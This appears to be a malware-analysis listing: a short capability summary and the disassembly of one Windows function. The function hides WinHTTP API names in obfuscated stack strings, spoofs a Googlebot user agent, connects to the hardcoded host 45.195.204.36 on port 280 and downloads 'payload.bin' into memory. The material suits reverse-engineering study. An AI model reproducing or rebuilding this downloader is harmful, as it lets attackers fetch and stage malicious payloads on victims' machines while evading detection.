Function at 0x14000109c
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x200
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14000d028]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov r12, rdx
mov rbx, rcx
mov qword [rsp + 0x68], rcx
xor r13d, r13d
mov qword [rsp + 0x48], r13
xor eax, eax
mov qword [rsp + 0x50], rax
mov esi, r13d
mov qword [rsp + 0x70], r13
mov edi, r13d
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
mov dword [rsp + 0x44], r13d
mov dword [rbp + 0x50], 0x6f004d
mov dword [rbp + 0x54], 0x69007a
lea r15d, [r13 + 0x6c]
mov dword [rbp + 0x58], 0x6c006c
lea r10d, [r13 + 0x2f]
mov dword [rbp + 0x5c], 0x2f0061
mov dword [rbp + 0x60], 0x2e0035
mov dword [rbp + 0x64], 0x200030
lea eax, [r13 + 0x28]
mov word [rbp + 0x68], ax
mov dword [rbp + 0x6a], 0x6f0063
mov dword [rbp + 0x6e], 0x70006d
mov dword [rbp + 0x72], 0x740061
mov dword [rbp + 0x76], 0x620069
mov word [rbp + 0x7a], r15w
mov dword [rbp + 0x7c], 0x3b0065
mov dword [rbp + 0x80], 0x470020
mov dword [rbp + 0x84], 0x6f006f
mov dword [rbp + 0x88], 0x6c0067
mov dword [rbp + 0x8c], 0x620065
mov dword [rbp + 0x90], 0x74006f
mov dword [rbp + 0x94], 0x32002f
mov dword [rbp + 0x98], 0x31002e
mov dword [rbp + 0x9c], 0x20003b
mov dword [rbp + 0xa0], 0x68002b
mov dword [rbp + 0xa4], 0x740074
mov dword [rbp + 0xa8], 0x3a0070
mov dword [rbp + 0xac], 0x2f002f
mov dword [rbp + 0xb0], 0x770077
mov dword [rbp + 0xb4], 0x2e0077
mov dword [rbp + 0xb8], 0x6f0067
mov dword [rbp + 0xbc], 0x67006f
mov dword [rbp + 0xc0], 0x65006c
mov dword [rbp + 0xc4], 0x63002e
mov dword [rbp + 0xc8], 0x6d006f
mov word [rbp + 0xcc], r10w
mov dword [rbp + 0xce], 0x6f0062
mov dword [rbp + 0xd2], 0x2e0074
mov dword [rbp + 0xd6], 0x740068
mov dword [rbp + 0xda], 0x6c006d
mov dword [rbp + 0xde], 0x29
mov dword [rbp - 0x68], 0x4f70656e
mov dword [rbp - 0x64], 0x48747470
mov dword [rbp - 0x60], 0x57696e
lea rcx, [rbp - 0x68]
call fcn.14000104c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000f168], rax
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x50]
call rax
mov r15, rax
test rax, rax
jne 0x1400012b9
jmp 0x14000160f
mov dword [rbp - 0x58], 0x6e656374
mov dword [rbp - 0x54], 0x70436f6e
mov dword [rbp - 0x50], 0x6e487474
mov word [rbp - 0x4c], 0x5769
mov byte [rbp - 0x4a], r13b
lea rcx, [rbp - 0x58]
call fcn.14000104c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000f170], rax
mov r8d, 0x118
xor r9d, r9d
lea rdx, str.45.195.204.36
mov rcx, r15
call rax
mov r14, rax
test rax, rax
jne 0x140001316
jmp 0x14000160f
mov dword [rbp - 0x20], 0x75657374
mov dword [rbp - 0x1c], 0x6e526571
mov dword [rbp - 0x18], 0x704f7065
mov dword [rbp - 0x14], 0x6e487474
mov word [rbp - 0x10], 0x5769
mov byte [rbp - 0xe], r13b
lea rcx, [rbp - 0x20]
call fcn.14000104c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000f178], rax
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x14000b550]
mov rcx, r14
call rax
mov r13, rax
test rax, rax
jne 0x14000138a
jmp 0x14000160f
mov dword [rbp - 8], 0x75657374
mov dword [rbp - 4], 0x64526571
mov dword [rbp], 0x7053656e
mov dword [rbp + 4], 0x6e487474
mov word [rbp + 8], 0x5769
mov byte [rbp + 0xa], 0
lea rcx, [rbp - 8]
call fcn.14000104c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000f180], rax
xor ecx, ecx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r13
call rax
test eax, eax
jne 0x1400013f1
jmp 0x14000160f
mov dword [rbp + 0x10], 0x6f6e7365
mov dword [rbp + 0x14], 0x52657370
mov dword [rbp + 0x18], 0x65697665
mov dword [rbp + 0x1c], 0x70526563
mov dword [rbp + 0x20], 0x6e487474
mov word [rbp + 0x24], 0x5769
mov byte [rbp + 0x26], 0
lea rcx, [rbp + 0x10]
call fcn.14000104c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000f188], rax
xor edx, edx
mov rcx, r13
call rax
test eax, eax
je 0x1400015a8
and dword [rsp + 0x40], 0
mov rax, qword [0x14000f190]
test rax, rax
jne 0x1400014a6
mov dword [rbp + 0x28], 0x61626c65
mov dword [rbp + 0x2c], 0x7661696c
mov dword [rbp + 0x30], 0x61746141
mov dword [rbp + 0x34], 0x65727944
mov dword [rbp + 0x38], 0x74705175
mov dword [rbp + 0x3c], 0x696e4874
mov word [rbp + 0x40], 0x57
lea rcx, [rbp + 0x28]
call fcn.14000104c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000f190], rax
lea rdx, [rsp + 0x40]
mov rcx, r13
call rax
mov r11d, dword [rsp + 0x40]
test r11d, r11d
je 0x14000155c
mov ecx, r11d
call fcn.1400020ac
mov rsi, rax
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov rcx, rax
call fcn.1400052e0
mov rax, qword [0x14000f198]
test rax, rax
jne 0x14000151c
mov dword [rbp - 0x48], 0x44617461
mov dword [rbp - 0x44], 0x52656164
mov dword [rbp - 0x40], 0x48747470
mov dword [rbp - 0x3c], 0x57696e
lea rcx, [rbp - 0x48]
call fcn.14000104c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000f198], rax
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
mov rdx, rsi
mov rcx, r13
call rax
test eax, eax
je 0x14000154f
mov r9d, dword [rsp + 0x44]
add r9, rsi
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.1400017e0
mov rdi, qword [rsp + 0x78]
mov rcx, rsi
call fcn.140001f64
jmp 0x140001449
mov rsi, qword [rsp + 0x70]
cmp rsi, rdi
mov rbx, qword [rsp + 0x68]
je 0x1400015a8
sub rdi, rsi
mov rcx, rdi
call fcn.1400020b4
mov r11, rax
xor r9d, r9d
test rdi, rdi
je 0x14000159e
mov rdx, rax
mov r8, rsi
sub r8, rax
mov cl, byte [r8 + rdx]
mov byte [rdx], cl
inc r9d
inc rdx
movsxd rax, r9d
cmp rax, rdi
jb 0x14000158a
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x50], rdi
mov dword [rbp - 0x38], 0x6e646c65
mov dword [rbp - 0x34], 0x73654861
mov dword [rbp - 0x30], 0x70436c6f
mov dword [rbp - 0x2c], 0x6e487474
mov word [rbp - 0x28], 0x5769
mov byte [rbp - 0x26], 0
lea rcx, [rbp - 0x38]
call fcn.14000104c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000f1a0], rax
mov rcx, r13
call rax
mov rcx, r14
call qword [0x14000f1a0]
mov rcx, r15
call qword [0x14000f1a0]
nop
test rsi, rsi
je 0x14000160f
mov rcx, rsi
call fcn.140001c10
movups xmm0, xmmword [rsp + 0x48]
movdqu xmmword [rbx], xmm0
mov rax, rbx
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.140001a50
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret